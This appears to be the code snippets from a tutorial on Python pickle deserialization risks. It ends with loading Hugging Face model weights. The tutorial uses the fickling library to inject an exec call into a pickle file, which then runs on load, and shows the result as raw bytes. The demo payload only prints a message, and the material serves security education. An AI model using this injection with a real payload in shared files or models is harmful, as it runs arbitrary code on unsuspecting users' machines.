App.py

import pickle
import pickletools

var = "data I want to share with a friend"

# store the pickle data in a file named 'payload.pkl'
with open('payload.pkl', 'wb') as f:
    pickle.dump(var, f)

# disassemble the pickle
# and print the instructions to the command line
with open('payload.pkl', 'rb') as f:
    pickletools.dis(f)    0: \x80 PROTO      4
    2: \x95 FRAME      48
   11: \x8c SHORT_BINUNICODE 'data I want to share with a friend'
   57: \x94 MEMOIZE    (as 0)
   58: .    STOP
highest protocol among opcodes = 4import pickle
import pickletools

class Data:
    def __init__(self, important_stuff: str):
        self.important_stuff = important_stuff

d = Data("42")

with open('payload.pkl', 'wb') as f:
    pickle.dump(d, f)from fickling.pickle import Pickled
import pickle

# Create a malicious pickle
data = "my friend needs to know this"

pickle_bin = pickle.dumps(data)

p = Pickled.load(pickle_bin)

p.insert_python_exec('print("you\'ve been pwned !")')

with open('payload.pkl', 'wb') as f:
    p.dump(f)

# innocently unpickle and get your friend's data
with open('payload.pkl', 'rb') as f:
    data = pickle.load(f)
    print(data)you've been pwned !
my friend needs to know this# cat payload.pkl
c__builtin__
exec
(Vprint("you've been pwned !")
tR my friend needs to know this.%

# hexyl payload.pkl
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 63 5f 5f 62 75 69 6c 74 ┊ 69 6e 5f 5f 0a 65 78 65 │c__built┊in___exe│
│00000010│ 63 0a 28 56 70 72 69 6e ┊ 74 28 22 79 6f 75 27 76 │c_(Vprin┊t("you'v│
│00000020│ 65 20 62 65 65 6e 20 70 ┊ 77 6e 65 64 20 21 22 29 │e been p┊wned !")│
│00000030│ 0a 74 52 80 04 95 20 00 ┊ 00 00 00 00 00 00 8c 1c │_tR×•× 0┊000000ו│
│00000040│ 6d 79 20 66 72 69 65 6e ┊ 64 20 6e 65 65 64 73 20 │my frien┊d needs │
│00000050│ 74 6f 20 6b 6e 6f 77 20 ┊ 74 68 69 73 94 2e       │to know ┊this×.  │
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘# ...
opcodes_stack = [exec_func, "malicious argument", "REDUCE"]
opcode = stack.pop()
if opcode == "REDUCE":
    arg = opcodes_stack.pop()
    callable = opcodes_stack.pop()
    opcodes_stack.append(callable(arg))
# ...from transformers import AutoModel

model = AutoModel.from_pretrained("bert-base-cased", from_flax=True)